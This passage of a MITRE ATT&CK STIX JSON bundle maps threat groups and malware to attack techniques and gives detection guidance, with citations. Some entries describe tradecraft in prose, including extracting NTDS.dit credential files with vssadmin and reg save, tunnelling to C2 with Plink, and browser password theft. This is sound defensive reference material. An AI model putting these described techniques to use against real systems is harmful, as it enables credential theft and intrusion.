"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"}, {"source_name": "FireEye APT34 Webinar Dec 2017", "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}, {"source_name": "Unit42 OilRig Playbook 2023", "description": "Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.", "url": "https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-06T20:38:54.305Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used the Plink utility and other tools to create tunnels to C2 servers.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT34 July 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6cc5fef-2bcd-4772-910f-370774e87a4b", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor interactions with images and containers by users to identify ones that are added anomalously.", "source_ref": "x-mitre-data-component--b008766d-f34f-4ded-b712-659f59aaed6e", "target_ref": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b6cda6b5-b2c2-4472-a3c5-55bd0f5d8f88", "created": "2022-06-16T19:22:08.191Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor network traffic content for evidence of data exfiltration, such as gratuitous or anomalous internal traffic containing collected data. Consider correlation with process monitoring and command lines associated with collection and exfiltration.", "modified": "2022-06-16T19:22:08.191Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6cf9ca0-96e9-4072-9564-0ea741d3bbb6", "type": "relationship", "created": "2021-09-21T21:48:15.827Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}], "modified": "2021-10-18T13:19:49.202Z", "description": "[Turian](https://attack.mitre.org/software/S0647) has the ability to use HTTP for its C2.(Citation: ESET BackdoorDiplomacy Jun 2021)", "relationship_type": "uses", "source_ref": "malware--350f12cf-fd3b-4dad-b323-14b943090df4", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b6d0a9fa-a908-4837-9484-91d07cde5e42", "created": "2022-09-22T21:25:24.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cybereason OperationCuckooBees May 2022", "description": "Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.", "url": "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-06T20:59:14.388Z", "description": "During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors enabled HTTP and HTTPS listeners.(Citation: Cybereason OperationCuckooBees May 2022)", "relationship_type": "uses", "source_ref": "campaign--93c23946-49af-41f4-ac03-40f9ffc7419b", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6d77871-1b71-4b65-b04b-9ee1d4b80a9c", "type": "relationship", "created": "2020-07-23T14:20:48.692Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trustwave GoldenSpy June 2020", "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/", "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}], "modified": "2020-07-23T14:20:48.692Z", "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) constantly attempts to download and execute files from the remote C2, including [GoldenSpy](https://attack.mitre.org/software/S0493) itself if not found on the system.(Citation: Trustwave GoldenSpy June 2020)\t", "relationship_type": "uses", "source_ref": "malware--b9704a7d-feef-4af9-8898-5280f1686326", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b6d8f711-8b5f-4b5e-82c4-abf144223c55", "created": "2019-08-26T15:27:13.021Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}, {"source_name": "Netscout Stolen Pencil Dec 2018", "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/", "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."}, {"source_name": "Zdnet Kimsuky Dec 2018", "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/", "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019."}, {"source_name": "CISA AA20-301A Kimsuky", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used browser extensions including Google Chrome to steal passwords and cookies from browsers. [Kimsuky](https://attack.mitre.org/groups/G0094) has also used Nirsoft's WebBrowserPassView tool to dump the passwords obtained from victims.(Citation: Zdnet Kimsuky Dec 2018)(Citation: CISA AA20-301A Kimsuky)(Citation: Netscout Stolen Pencil Dec 2018)(Citation: Talos Kimsuky Nov 2021)", "modified": "2022-04-12T15:04:45.749Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6da41e9-9925-4b83-b9a7-d29509b852de", "type": "relationship", "created": "2021-04-13T19:29:21.093Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks BRONZE PRESIDENT December 2019", "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}], "modified": "2021-04-19T17:49:24.416Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used vssadmin to create a volume shadow copy and retrieve the NTDS.dit file. [Mustang Panda](https://attack.mitre.org/groups/G0129) has also used <code>reg save</code> on the SYSTEM file Registry location to help extract the NTDS.dit file.(Citation: Secureworks BRONZE PRESIDENT December 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6df63b7-34af-4918-8d1d-cf3dad0287f8", "type": "relationship", "created": "2019-06-24T13:13:57.215Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/", "source_name": "Intezer HiddenWasp Map 2019"}], "modified": "2019-07-06T22:20:35.197Z", "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses a cipher to implement a decoding function.(Citation: Intezer HiddenWasp Map 2019)", "relationship_type": "uses", "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6e427c5-ae51-4240-b91e-3c417cc4e1f0", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html", "description": "Elovitz, S. & Ahl, I. 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(2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.", "url": "https://assets.sentinelone.com/sentinellabs22/metador#page=1"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:47:13.525Z", "description": "[Metador](https://attack.mitre.org/groups/G1013) has encrypted their payloads.(Citation: SentinelLabs Metador Sept 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b6eb09bc-fef4-4cf3-b337-dfe6bd87ca35", "created": "2017-05-31T21:33:27.079Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "FireEye FIN7 March 2017", "url": "https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html", "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: FireEye FIN7 March 2017)", "modified": "2022-07-20T20:06:44.716Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b6f1f9f1-05d9-4ac6-b191-404443430b2b", "created": "2020-11-06T18:40:38.468Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 March 2020", "description": "Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html"}, {"source_name": "Group IB APT 41 June 2021", "description": "Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. 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(2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."}, {"source_name": "Glitch-Cat Green Lambert ATTCK Oct 2021", "url": "https://www.glitch-cat.com/blog/green-lambert-and-attack", "description": "Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Green Lambert](https://attack.mitre.org/software/S0690) can create a [Launch Agent](https://attack.mitre.org/techniques/T1543/001) with the `RunAtLoad` key-value pair set to <code>true</code>, ensuring the `com.apple.GrowlHelper.plist` file runs every time a user logs in.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021)", "modified": "2022-04-20T14:46:38.623Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0", "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6f52beb-1be0-4607-86a6-977d34fabe54", "type": "relationship", "created": "2020-11-06T18:40:38.189Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf", "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", "source_name": "cobaltstrike manual"}, {"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.216Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a custom command and control protocol that is encapsulated in HTTP, HTTPS, or DNS. In addition, it conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6f54741-1424-4a3c-b83e-1c94df063186", "type": "relationship", "created": "2021-11-19T15:48:03.318Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro DRBControl February 2020", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}], "modified": "2021-11-19T15:48:03.318Z", "description": "[Clambling](https://attack.mitre.org/software/S0660) can determine the current time.(Citation: Trend Micro DRBControl February 2020)", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b6f6b1e0-8e37-4f0a-b506-66537d3f0ff0", "created": "2023-03-17T15:43:58.134Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Lazarus Jun 2020", "description": "Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}, {"source_name": "ClearSky Lazarus Aug 2020", "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T15:21:43.169Z", "description": "For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) obtained tools such as Wake-On-Lan, [Responder](https://attack.mitre.org/software/S0174), ChromePass, and dbxcli.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6f70ba6-bff1-4b40-a418-356e7b6efa27", "type": "relationship", "created": "2017-05-31T21:33:27.037Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}], "modified": "2019-08-20T13:08:13.539Z", "description": "(Citation: Mandiant APT1)", "relationship_type": "uses", "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b6f9bc1d-bc66-4627-a1fd-56276a957320", "created": "2024-02-13T22:14:28.670Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "NSA APT5 Citrix Threat Hunting December 2022", "description": "National Security Agency. (2022, December). APT5: Citrix ADC Threat Hunting Guidance. Retrieved February 5, 2024.", "url": "https://media.defense.gov/2022/Dec/13/2003131586/-1/-1/0/CSA-APT5-CITRIXADC-V1.PDF"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-14T18:53:21.578Z", "description": "[APT5](https://attack.mitre.org/groups/G1023) has made modifications to the crontab file including in `/var/cron/tabs/`.(Citation: NSA APT5 Citrix Threat Hunting December 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b6fa5f7f-1055-4a9a-8372-d281fd6ca4af", "created": "2021-03-18T13:17:47.661Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Anomali Static Kitten February 2021", "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.", "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"}, {"source_name": "Proofpoint TA450 Phishing March 2024", "description": "Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.", "url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign"}, {"source_name": "Trend Micro Muddy Water March 2021", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T19:42:39.884Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has distributed URLs in phishing e-mails that link to lure documents.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)(Citation: Proofpoint TA450 Phishing March 2024)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b6fc7740-4e5f-4f4c-8b1e-d0e3368eee03", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Sofacy", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}, {"source_name": "Bitdefender APT28 Dec 2015", "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}], "modified": "2020-03-16T15:53:20.375Z", "description": "Most of the strings in [ADVSTORESHELL](https://attack.mitre.org/software/S0045) are encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed. API function names are also reversed, presumably to avoid detection in memory.(Citation: Kaspersky Sofacy)(Citation: Bitdefender APT28 Dec 2015)", "relationship_type": "uses", "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b703258a-ea4b-4778-9b98-b053bd16a959", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint ZeroT Feb 2017", "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}], "modified": "2020-03-17T02:54:39.757Z", "description": "Some [ZeroT](https://attack.mitre.org/software/S0230) DLL files have been packed with UPX.(Citation: Proofpoint ZeroT Feb 2017)", "relationship_type": "uses", "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b704b2b0-50c5-4fba-ab6c-db346b3524c7", "type": "relationship", "created": "2021-08-04T20:04:49.515Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021."}, {"source_name": "SentinelOne NobleBaron June 2021", "url": "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", "description": "Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. 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Retrieved September 8, 2020."}], "modified": "2020-10-19T16:42:09.080Z", "description": "[FrameworkPOS](https://attack.mitre.org/software/S0503) can enumerate and exclude selected processes on a compromised host to speed execution of memory scraping.(Citation: SentinelOne FrameworkPOS September 2019)", "relationship_type": "uses", "source_ref": "malware--1cdbbcab-903a-414d-8eb0-439a97343737", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b73144e0-3101-4631-9bdc-4e74a9a7d278", "created": "2022-08-18T18:46:56.877Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Google EXOTIC LILY March 2022", "url": "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", "description": "Stolyarov, V. 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Retrieved March 21, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Green Lambert](https://attack.mitre.org/software/S0690) can add <code>init.d</code> and <code>rc.d</code> files in the <code>/etc</code> folder to establish persistence.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ", "modified": "2022-04-20T17:39:21.307Z", "relationship_type": "uses", "source_ref": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0", "target_ref": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b7573d56-3acb-464f-b63b-3734af37ad42", "type": "relationship", "created": "2020-06-30T00:39:39.898Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sophos Ragnar May 2020", "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "description": "SophosLabs. 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Retrieved December 20, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DRATzarus](https://attack.mitre.org/software/S0694) can use HTTP or HTTPS for C2 communications.(Citation: ClearSky Lazarus Aug 2020)", "modified": "2022-04-12T20:11:01.776Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 